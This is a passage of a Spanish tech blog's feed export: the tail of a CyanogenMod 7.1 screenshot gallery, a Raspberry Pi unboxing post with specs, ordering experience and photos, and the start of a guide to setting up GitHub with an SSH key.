height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMBJ4RgpZSSVQXHu_NvEVCwIXoi9_vqYMHvi7Jc4cL9TJ8NNV0LgJABPDecJosjbHdHHsIqC0_W5pii7xBlNztxnmEi67lH5y1DPMYu-BpRf4lQOiWrl7b6ARuRIjSZsY1hXwn81Q57542/s320/cyanogenmod-7.1-ajustes.png" width="179" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUgsi4c0U5Ki08IXe7l4eD76n4_pRpJufkRA-vGWSLP1zkZarLq8ESaUv-4Zq3kB_LOg7fhglo-BPfjWXcbyvAdjLDYkPJ88DrMdaYgbwuemQ9v5FE6joetPBQMlwLEEHQ9fGpCz73GENI/s1600/cyanogenmod-7.1-llamada.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUgsi4c0U5Ki08IXe7l4eD76n4_pRpJufkRA-vGWSLP1zkZarLq8ESaUv-4Zq3kB_LOg7fhglo-BPfjWXcbyvAdjLDYkPJ88DrMdaYgbwuemQ9v5FE6joetPBQMlwLEEHQ9fGpCz73GENI/s320/cyanogenmod-7.1-llamada.png" width="179" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6KbRmOUNnS67I3lTgCUZ7CEQvqRzuUD7g3mfjU1zCG1IyE3s0iMg14zyjD470dxGg7DnHWo_nyRyQgeJycwHEnbBDpq5YCF-TnEMm4KsnmuUnqhQes7UoxJxtTbF3HVdg4KIh0qXqIs5H/s1600/cyanogenmod-7.1-despertador.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6KbRmOUNnS67I3lTgCUZ7CEQvqRzuUD7g3mfjU1zCG1IyE3s0iMg14zyjD470dxGg7DnHWo_nyRyQgeJycwHEnbBDpq5YCF-TnEMm4KsnmuUnqhQes7UoxJxtTbF3HVdg4KIh0qXqIs5H/s320/cyanogenmod-7.1-despertador.png" width="179" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGnzMy240CzQqG1ZRbly4KSlZPI4AEU1cZmS7tD7mNoeVX0pwniwNqHSfQYSIQ2DdfXHwV_y5A_Yno7sqYu2sQMXIullHtriHvmGMPog9-WwSdpgYNh-e_W6OpnhaK7JpY0zE7CH376X3X/s1600/cyanogenmod-7.1-reproductor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGnzMy240CzQqG1ZRbly4KSlZPI4AEU1cZmS7tD7mNoeVX0pwniwNqHSfQYSIQ2DdfXHwV_y5A_Yno7sqYu2sQMXIullHtriHvmGMPog9-WwSdpgYNh-e_W6OpnhaK7JpY0zE7CH376X3X/s320/cyanogenmod-7.1-reproductor.png" width="179" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzoFR3BZEkFs_p-PtYtEcepwISqm4uuq_TpxOV_36JSw12uS3hzVKtmdzLMBKHNP5xdpD6hjERwCAiseDkzZJTq-2wWugOb3Jp6kC44QxukQrogeZC7xPBhNZT3bELrff7Qk6dX5x9DftK/s1600/cyanogenmod-7.1-radio.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzoFR3BZEkFs_p-PtYtEcepwISqm4uuq_TpxOV_36JSw12uS3hzVKtmdzLMBKHNP5xdpD6hjERwCAiseDkzZJTq-2wWugOb3Jp6kC44QxukQrogeZC7xPBhNZT3bELrff7Qk6dX5x9DftK/s320/cyanogenmod-7.1-radio.png" width="179" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLjBIheoat6_BYR4HY-mC1KZufPGQTchavw7Yc9fhQi9w5n5V5jR5f9gXngxFXFXqJbrYlUun5ODMxCsGBofkx5-Z8bk-GgRF9iUEE21Q6EwwmJcaUXYsKHHMkSA4WIXIs4WUUY2BzM1DX/s1600/cyanogenmod-7.1-camara.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLjBIheoat6_BYR4HY-mC1KZufPGQTchavw7Yc9fhQi9w5n5V5jR5f9gXngxFXFXqJbrYlUun5ODMxCsGBofkx5-Z8bk-GgRF9iUEE21Q6EwwmJcaUXYsKHHMkSA4WIXIs4WUUY2BzM1DX/s320/cyanogenmod-7.1-camara.png" width="320" /></a></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-44862094291242378692012-05-18T23:26:00.003+02:002016-09-23T19:35:23.621+02:00Raspberry Pi, desempaquetado («unboxing»)<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Raspberry Pi" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7jjTcqBy7QV4vQK0CvI75eyJi2A3DTZggo01HoiKrEJUYMgdYTX4t-F7RbcQjKnHsqBrmXHMmshSiH-0MtkldzOHUob2KfQ7MyGGgu1oyPC1MqOhzo7_kFt4CrxDufM9aYwIlRA3qva-m/s1600/raspberrypi.jpg" title="Raspberry Pi" /></div>
Después de una charla a la que asistí y se explicó las posibilidades que ofrecen algunos aparatos como la <a href="http://en.wikipedia.org/wiki/Pandaboard">Pandaboard</a>, <a href="http://en.wikipedia.org/wiki/SheevaPlug">SheevaPlug</a> u otros que estaban por llegar como la <a href="http://es.wikipedia.org/wiki/Raspberry_Pi">Raspberry Pi</a> me entraron las ganas de hacerme con uno. En mi caso lo principal ha sido el poder tener un aparato dedicado a las descargas en vez del portátil y que su consumo de electricidad es muy reducido, entre 2 y 9 vatios (si usas un ordenador de escritorio para dejarlo descargando que tiene un consumo de entre 100w y 200w merece la pena usar un aparato de este tipo ya que su precio se amortiza en unos pocos meses) además de poder aprender algunas cosas. Aunque tiene unos recursos más reducidos que por ejemplo la Pandaboard me decanté por una Raspberry Pi por su precio, por la amplia comunidad que se ha formado alrededor de ella, lo que garantiza el soporte, y porque <a href="http://archlinuxarm.org/">Arch Linux</a> tiene una versión orientada a procesadores ARM ofreciendo entre otras soporte para la Raspberry.<br />
<br />
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="ARM" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizjTxC25VSr_Qht-xgpx-hyMJ6KdlIgf-rtoNtmVyLzlifv0DFC4WhSBHbNQDjEhigkM_B-DgSa8Dh-B_WYaCRuADyzNjz8Gja6v5a4Wzbh7BOAzaUTL4HJC0r17oB1Kjn7nqjimjG-HKb/s1600/arm.png" title="ARM" /></div>
¿Que es una Raspberry Pi? En esencia es un computador completo con el tamaño de de una tarjeta de crédito y con un coste muy reducido ¡27€! originalmente pensado para la enseñanza de programación. Posee un procesador de un núcleo ARM funcionando a 700 Mhz, 256 MiB de memoria, un lector de tarjetas de memoria SD de hasta 32 GB utilizada para cargar el sistema operativo, salida de video HDMI, un puerto ethernet 10/100, dos puertos USB 2.0, salida de video RCA para la televisión y un jack 3.5 mm como salida de sonido entre las cosas a destacar que le falta es WIFI. La placa se alimenta a taves de un puerto miniUSB con lo que un cargador de móvil USB nos puede servir perfectamente para alimentarlo. Desde luego no podrá ejecutar el último juego o un entorno gráfico de ventanas cono GNOME o KDE, ni sustituirá nuestro ordenador habitual con el que trabajemos pero eso no quiere decir que no sea útil. Pensándolo bien 256 MiB de memoria es lo que llevaban los ordenadores de escritorio allá por el 2004 y era lo recomendable para Windows XP y 700 Mhz es la velocidad a la que funcionaban los procesadores intel o amd hasta hace también bien poco, el HDMI es reciente y los puertos USB son omnipresentes. Todas estas características son proporcionadas por el SoC (System on a Chip) de Broadcom BCM2835 que incluye la CPU, la memoria y una GPU capaz de reproducir video a 1080p30, es un chip más capaz que el del iPhone 4 en el apartado gráfico. <a href="http://es.wikipedia.org/wiki/Raspberry_Pi">En la wikipedia hay más detalles</a>.<br />
<br />
Después de un par de meses esperando a que me llegase la Raspberry Pi a través de <a href="http://es.farnell.com/jsp/home/homepage.jsp">Farnell</a> al final cancelé el pedido y lo hice a través de <a href="http://es.rs-online.com/web/">RS components</a>. La verdad es que la experiencia ha sido mucho mejor con esta última que con la primera. Farnell abrió la preventa allá por el 29 de febrero desde un primer momento, como la demanda fue desmesurada para la cantidad disponible de placas por aquel entonces muchos hemos estado esperando varias semanas y sin ni siquiera con una fecha estimada de entrega. Por el contrario RS components hasta el momento solo ha permitido <a href="http://es.rs-online.com/web/generalDisplay.html?id=raspberrypi">dejar los datos para ser avisado</a> en el momento que tengan disponibilidad para satisfacer el pedido. Y ha sido esta semana cuando he recibido un correo de RS componentes mediante el cual podía realizar el pedido y en un plazo de 7 días laborales decían que realizaban el envío. Así que disgustado con la poca información ofrecida por Farnell y viendo que RS components tenía disponibilidad y me enviaba una en 7 días cancelé el pedido con Farnell y lo realicé con RS components. Al final no han sido 7 días lo que ha tardado en llegar sino solo 3. Por otra parte, al realizar el pedido con RS components se podía solicitar el envío de los cables que necesitemos (HDMI, cable ethernet, salida de video y jack 3.5 a rca para conectarla a la televisión, cargador usb y tarjeta de memoria), por si esto no fuera poco, en cuanto a precio ha sido mejor la oferta de RS Components, con gastos de envío inlcuidos y varios cables (HDMI, ethernet, jack 3.5 a rca) el precio final ha sido 48.06 € contra 46,02 € y sin cables por parte de Farnell. Hay que decir que de momento las Raspberry Pi se están enviando sin caja, en un futuro existe la intención de ponerlas a la venta con caja para un uso más cómodo.<br />
<br />
Mis planes para la Raspberry Pi son utilizarla como servidor de descargas para tenerlo descargando en vez del portátil, repositorio git para los proyectos personales que no quiera tener en GitHub de este modo no tendré que hacer tan a menudo copias de seguridad, tal vez un pequeño servidor para compartir archivos con ownCloud y si me es posible como reproductor de películas para conectarlo a la televisión. Con estos objetivos tendre que aprender como hacer una serie de cosas como conectarme mediante ssh de tal forma que no necesite un monitor para usarla, tendré que mirar como enviarle los torrents que quiero descargar, como instalar y configurar el servidor git y otra serie de cosas que vayan surgiendo de forma que pueda darle más uso. A medida que vaya aprendiendo lo iré plasmando en entradas en este blog.<br />
<br />
Aún me falta hacerme con un par de tarjetas de memoria y un teclado usb que en cuanto tenga empezaré a cacharrear. De momento tengo solo un trozo de metal pero si queréis verlo aquí tenéis el mejor desempaquetado/unboxing de la Raspberry enviada por RS components que la cámara de mi móvil me ha dejado hacer. Si te ha parecido interensate el tema puedes continuar leyendo la <a href="http://elblogdepicodev.blogspot.com.es/2012/06/guia-instalacion-raspberry-pi-con-arch.html">Guía instalación Raspberry Pi con Arch Linux ARM (Parte I, instalación base)</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3i5P6Gw6kX4YMMltfmEz5_tZmt8ghq_yFzNGnikTcrSumyVf-J3JoeZGsAssz4p1kSS6Gvc3grbVc7FqlisZxKKB-KtAUZ2MYrss2q-rX8K9AHIjvDsjL3n6zVRdy4hheDLrkWlMaeu1k/s1600/raspberrypi-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3i5P6Gw6kX4YMMltfmEz5_tZmt8ghq_yFzNGnikTcrSumyVf-J3JoeZGsAssz4p1kSS6Gvc3grbVc7FqlisZxKKB-KtAUZ2MYrss2q-rX8K9AHIjvDsjL3n6zVRdy4hheDLrkWlMaeu1k/s200/raspberrypi-1.jpg" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi1cbTUFnS5_lzjw-onBDllYYx2f97BG8wGitqwrNHHROYmxkkDGddoM2FWeCkJJe-UsYKbXmgz6EWlBLVkIjp0XEnWwgUg20WoPAmqn9cGXQqmkSf4L3emTH_zmlDRn21tdKoWV7-5I42/s1600/raspberrypi-2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi1cbTUFnS5_lzjw-onBDllYYx2f97BG8wGitqwrNHHROYmxkkDGddoM2FWeCkJJe-UsYKbXmgz6EWlBLVkIjp0XEnWwgUg20WoPAmqn9cGXQqmkSf4L3emTH_zmlDRn21tdKoWV7-5I42/s200/raspberrypi-2.jpg" width="200" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB7ktSjJCpUasSS1TaK803cccR2ylQrQkoEOialTeCOBh2SLwdbbFUpR4kKpVDEgdj6jYyF2ecp-UztPOD9TClpskx71kxVKXZ3QeMF5l4hdGrRaexE3cuAhyphenhyphenDUOyk1e9QEvmEtDyN0vAv/s1600/raspberrypi-3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB7ktSjJCpUasSS1TaK803cccR2ylQrQkoEOialTeCOBh2SLwdbbFUpR4kKpVDEgdj6jYyF2ecp-UztPOD9TClpskx71kxVKXZ3QeMF5l4hdGrRaexE3cuAhyphenhyphenDUOyk1e9QEvmEtDyN0vAv/s200/raspberrypi-3.jpg" width="200" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFPpnA1dWyWPEXSM6nRjCZkUlzzW4AHleTVGni6gawjSOXCZwX1BPUdUzzQ1rMTiD-X8zDgaJAfVYAl5WAa2DV_aWc8AJQuN5pYtomG1wSACs-CbCo_H2W81RQTZGCL4kxTED_v4pGr_sp/s1600/raspberrypi-4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFPpnA1dWyWPEXSM6nRjCZkUlzzW4AHleTVGni6gawjSOXCZwX1BPUdUzzQ1rMTiD-X8zDgaJAfVYAl5WAa2DV_aWc8AJQuN5pYtomG1wSACs-CbCo_H2W81RQTZGCL4kxTED_v4pGr_sp/s200/raspberrypi-4.jpg" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcR_plLDVvs2to0JMvrynjyT5m6IQg_nwLsohlFJjZfw8t0pbJ5TE-M81U9bVYm0YYEQe5ml3rErm0p6ONRWHjCnKaXM8RR9VXHfyYoKR1JkTQS7XRzFgByu8fNmkuF_2kW3KVCqy-CKib/s1600/raspberrypi-4-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcR_plLDVvs2to0JMvrynjyT5m6IQg_nwLsohlFJjZfw8t0pbJ5TE-M81U9bVYm0YYEQe5ml3rErm0p6ONRWHjCnKaXM8RR9VXHfyYoKR1JkTQS7XRzFgByu8fNmkuF_2kW3KVCqy-CKib/s200/raspberrypi-4-1.jpg" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinhfyG5Fvsw0_xGlFYtEU9_vnAjxxk3vnI_YAxJQ8PIvSGiUM9_zDrmsth69MSgk7C8nS9b6epCsIllEMUob8q4Mc3NzY73Mp-HSJGUZFIvOXfpAWkZRtV98T7hyphenhyphen6B0abiai7mNJxody__/s1600/raspberrypi-5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinhfyG5Fvsw0_xGlFYtEU9_vnAjxxk3vnI_YAxJQ8PIvSGiUM9_zDrmsth69MSgk7C8nS9b6epCsIllEMUob8q4Mc3NzY73Mp-HSJGUZFIvOXfpAWkZRtV98T7hyphenhyphen6B0abiai7mNJxody__/s200/raspberrypi-5.jpg" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0EFR0JU7ilRbtTA3OKMnv-M9sy6ycG75VHA3E5GsfqAkLQaT7baC4sCaBktqD9XtWMjvlaaVe3e8DkfmknZnw39Ip188qHhevUy7tAbgnKt94Iy4HlIBhrgSyIJlRktAQYHorSL41nhdH/s1600/raspberrypi-6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0EFR0JU7ilRbtTA3OKMnv-M9sy6ycG75VHA3E5GsfqAkLQaT7baC4sCaBktqD9XtWMjvlaaVe3e8DkfmknZnw39Ip188qHhevUy7tAbgnKt94Iy4HlIBhrgSyIJlRktAQYHorSL41nhdH/s200/raspberrypi-6.jpg" width="200" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVN1v3LCCn6XllakVVkNx2iliSeoN5ad7TARhMWexCJufikWAiflS2g2Y-5VIb8xZxk7w6LVksMG6nkvSC81QBUeKrZjX8880QSPy3GVFpYKiMUX0_HB3QbjL5-ZC84vxDC3tY4JXRMz6K/s1600/raspberrypi-8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVN1v3LCCn6XllakVVkNx2iliSeoN5ad7TARhMWexCJufikWAiflS2g2Y-5VIb8xZxk7w6LVksMG6nkvSC81QBUeKrZjX8880QSPy3GVFpYKiMUX0_HB3QbjL5-ZC84vxDC3tY4JXRMz6K/s200/raspberrypi-8.jpg" width="149" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsL_IqPzMGORjyAQRI792yXobSPgMM7G4wqNCGtrNcAiHp57z69UVsRyt4LsAa6ASU0tLhe3ir3ulXBUZ7gPWqanypiob_sGKp5QNaH2aAum1EcG4t-zyiN7dAuytNZKIeAp44mbtqU1U-/s1600/raspberrypi-7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsL_IqPzMGORjyAQRI792yXobSPgMM7G4wqNCGtrNcAiHp57z69UVsRyt4LsAa6ASU0tLhe3ir3ulXBUZ7gPWqanypiob_sGKp5QNaH2aAum1EcG4t-zyiN7dAuytNZKIeAp44mbtqU1U-/s200/raspberrypi-7.jpg" width="149" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8CXPtqOU5e3BFJ213csCnZGU6NSBZn0tsGKv3vC5BRKauf6AMAQbilzXGE__xIZtMv1MqtfcvibW9GeeEk4UcXATWjqq2UrJk4aNKCy61z6awRn2sHWMRAFCxPwIiolf3c4PHId0PfxUc/s1600/raspberrypi-9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8CXPtqOU5e3BFJ213csCnZGU6NSBZn0tsGKv3vC5BRKauf6AMAQbilzXGE__xIZtMv1MqtfcvibW9GeeEk4UcXATWjqq2UrJk4aNKCy61z6awRn2sHWMRAFCxPwIiolf3c4PHId0PfxUc/s200/raspberrypi-9.jpg" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTVzPv-lgwfCI43aNb8ytgKzTeeJWVejhlYFrC0wynfxVpmwPDbutcZ3awE0KwWbIlsRWBtbf1iwz0OWaLDU45ZXT_UpIYBcrCA3GMRPo9EZF6Ckv9qlyoX_7W4lNWBKRpK7E_KnDoX9TU/s1600/raspberrypi-10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTVzPv-lgwfCI43aNb8ytgKzTeeJWVejhlYFrC0wynfxVpmwPDbutcZ3awE0KwWbIlsRWBtbf1iwz0OWaLDU45ZXT_UpIYBcrCA3GMRPo9EZF6Ckv9qlyoX_7W4lNWBKRpK7E_KnDoX9TU/s200/raspberrypi-10.jpg" width="200" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaYgdG9mdhMSyBM3zTD65TFxTSBx8PinezbsR4IokLTmGuiMtT__gYDTNgadLFWopD9znX2Co0Fpy4tKp7LcokU1XgcOlYbBGNOB-bBXsBFVIswEVV66bvKvy6eY5zmFHAphTZUFVScfjx/s1600/raspberrypi-12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaYgdG9mdhMSyBM3zTD65TFxTSBx8PinezbsR4IokLTmGuiMtT__gYDTNgadLFWopD9znX2Co0Fpy4tKp7LcokU1XgcOlYbBGNOB-bBXsBFVIswEVV66bvKvy6eY5zmFHAphTZUFVScfjx/s200/raspberrypi-12.jpg" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPsVjplTUxU9AAQv3wgIFpsO8kLfzj0_rcg6tRAHdvJ1y_ZxWSNlYE4HkDgKxP86vkcYLRX81d2qUQ__Ls9jAwwRCaErLqhAmTwyxvX_3CWE1eTmD4ujZAjL0TtmlVJcr30TqQQx1XIT-D/s1600/raspberrypi-11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPsVjplTUxU9AAQv3wgIFpsO8kLfzj0_rcg6tRAHdvJ1y_ZxWSNlYE4HkDgKxP86vkcYLRX81d2qUQ__Ls9jAwwRCaErLqhAmTwyxvX_3CWE1eTmD4ujZAjL0TtmlVJcr30TqQQx1XIT-D/s200/raspberrypi-11.jpg" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8iqqrr2daou4N4Jqt_y0xvSclYuey3AP5ikt2a-Ty0f29ldXSFkxJmDPn2CWtLGmONRIVIH4pZRJGuhvz5rrAKYmzzJxqkIkrCGcupvTdeyIpLRJ4uHOK1gqdGv618cRc08dp2d16GDEE/s1600/raspberrypi-13.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8iqqrr2daou4N4Jqt_y0xvSclYuey3AP5ikt2a-Ty0f29ldXSFkxJmDPn2CWtLGmONRIVIH4pZRJGuhvz5rrAKYmzzJxqkIkrCGcupvTdeyIpLRJ4uHOK1gqdGv618cRc08dp2d16GDEE/s200/raspberrypi-13.jpg" width="200" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Raspberry Pi con «caja» casera :)</td></tr>
</tbody></table>
<br />
Los elementos básicos para usar este miniordenador son la <a href="http://amzn.to/2cN0d6L">placa de la Raspberry Pi</a>, una <a href="http://amzn.to/2dfFJT7">cargador de 3A</a> junto con una <a href="http://amzn.to/2cN0SFi">tarjeta SD</a>.<br/>
<br />
<div itemscope="" itemtype="http://data-vocabulary.org/Review">
<span itemprop="itemreviewed">Raspberry Pi modelo B (256MiB)</span><br />
Revisión por <span itemprop="reviewer">picodotdev</span>
el <time datetime="2012-05-18" itemprop="dtreviewed">18 de mayo</time>.<br />
<span itemprop="summary">Galería de fotos y comentarios del desempaquetado del computador</span><br />
<span itemprop="description"></span>
Valor: <span itemprop="rating">4</span></div>
Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-44384872114070853902012-05-11T20:14:00.001+02:002012-09-21T22:28:14.036+02:00GitHub, repositorio Git para proyectos<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="GitHub" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4_uKtx3lb7nHyHZiilYj3qjpJPfui5CFBQsablmhcs8LUhdSvE8V7DE3mFdMlje5QTc0myZH3LDAaDB8l0UF9uPLW5RnUOEywWIyr6epZaLqk00WmoiExJVWJ9H32dkDuWG_dTOJ-rAFe/s1600/github.png" title="GitHub" /></div>
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Git" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpKLv3HKaEtfxKzkbE93F6eUlv625EbdezzS8UPMdIqKsPZY4AiHYPj74Elc2y7Kdi0Fc-IHrh3qtBPX036ESpcEOyH2JDCFMZvPhiCEZkck2qxuPqfv9TkN6kohYtcMpjRBJ6qyYZSPsS/s1600/git.png" title="Git" /></div>
<a href="http://elblogdepicodev.blogspot.com.es/2010/06/sistema-de-control-de-versiones.html">El sistema de control de versiones Git</a> tiene varias ventajas sobre los tradicionales herrramientas de control de versiones como puede ser Subversion y en está época muchos servicios están ya ofreciéndose a través de internet, las herramientas de control de versiones también. <a href="https://github.com/">GitHub</a> es un repositorio para hospedar proyectos de software que se basa en <a href="http://git-scm.com/">Git</a> como herramienta de control de versiones todo ello a través de internet. A parte del repositorio Git para el código fuente <a href="https://github.com/features/projects">otras características que ofrece</a> son un gestor de peticiones, wikis y revisión de código. Además de poder trabajar de forma colaborativa <a href="http://help.github.com/fork-a-repo/">haciendo forks</a> de los proyectos de otras personas y enviándoles peticiones pull para los cambios que hagamos en sus proyectos.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-MmvCU8Vyx9NTcK0Iz87-GkiEMBcbYdYB5Z_G2MNlS0zQoKDtSH2GpdMAsDwTgvfuVcDN5QkhOmqXZhYflUTkzfm5oJ-atKOUXbVhMfaj8eYrMdVmT8o_NKupQBZ8nMJUMhOZwhTaKXq_/s1600/github-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="132" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-MmvCU8Vyx9NTcK0Iz87-GkiEMBcbYdYB5Z_G2MNlS0zQoKDtSH2GpdMAsDwTgvfuVcDN5QkhOmqXZhYflUTkzfm5oJ-atKOUXbVhMfaj8eYrMdVmT8o_NKupQBZ8nMJUMhOZwhTaKXq_/s200/github-1.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2E-FMScYdCfDL_G-JvGUdRnqjSyAMaA7XUxjoq_vHVACObETsIdBsNTGFeZxmHZmnI0-PlUuEVBVrMNjM3GDEBhYvLD0zSgWDyTr5iZSoLfR68dMY2MBJZboMyqCdZkgJ5UfPWtDQAoGG/s1600/github-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="139" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2E-FMScYdCfDL_G-JvGUdRnqjSyAMaA7XUxjoq_vHVACObETsIdBsNTGFeZxmHZmnI0-PlUuEVBVrMNjM3GDEBhYvLD0zSgWDyTr5iZSoLfR68dMY2MBJZboMyqCdZkgJ5UfPWtDQAoGG/s200/github-2.png" width="200" /></a></div>
<br />
<br />
Los pasos para poder crear nuestros propios repositorios en GitHub son varios pero nada complicados y están bien explicados en la <a href="http://help.github.com/">documentación de GitHub</a>. Primeramente deberemos <a href="https://github.com/plans">crear una cuenta en GitHub</a> eligiendo uno de los planes que nos ofrecen. Si los repositorios que vamos a crear van a contener código abierto y van a ser públicos podremos usar el plan gratuito.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJpRpkpAUoKtelgUgDUFCU3St1KP4HnlvZMNSKHWeqkYyO4cyXIcFUTUnbz4TyqHJdLgTlSLzML9s_9AHsLJJaDqEqoKMU1GfOI4jAzU25aY-tlvAEY7_rGi23QONxJEkxtXCMykWPG8X2/s1600/github-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJpRpkpAUoKtelgUgDUFCU3St1KP4HnlvZMNSKHWeqkYyO4cyXIcFUTUnbz4TyqHJdLgTlSLzML9s_9AHsLJJaDqEqoKMU1GfOI4jAzU25aY-tlvAEY7_rGi23QONxJEkxtXCMykWPG8X2/s200/github-3.png" width="115" /></a></div>
<br />
Una vez que tenemos nuestra cuenta deberemos <a href="http://help.github.com/linux-set-up-git/">configurar git</a> para poder trabajar. Primeramente instalaremos el correspondiente <a href="http://www.archlinux.org/packages/extra/x86_64/git/">paquete de git</a> en nuestro sistema. Posteriormente deberemos crear un par de claves de SSH para poder hacer commits y trabajar en nuestros repositorios de forma segura.<br />
<br />
<div class="codigo">
<pre>ssh-keygen -b 8192 -t rsa -C "[email]"</pre>
</div>
<br />
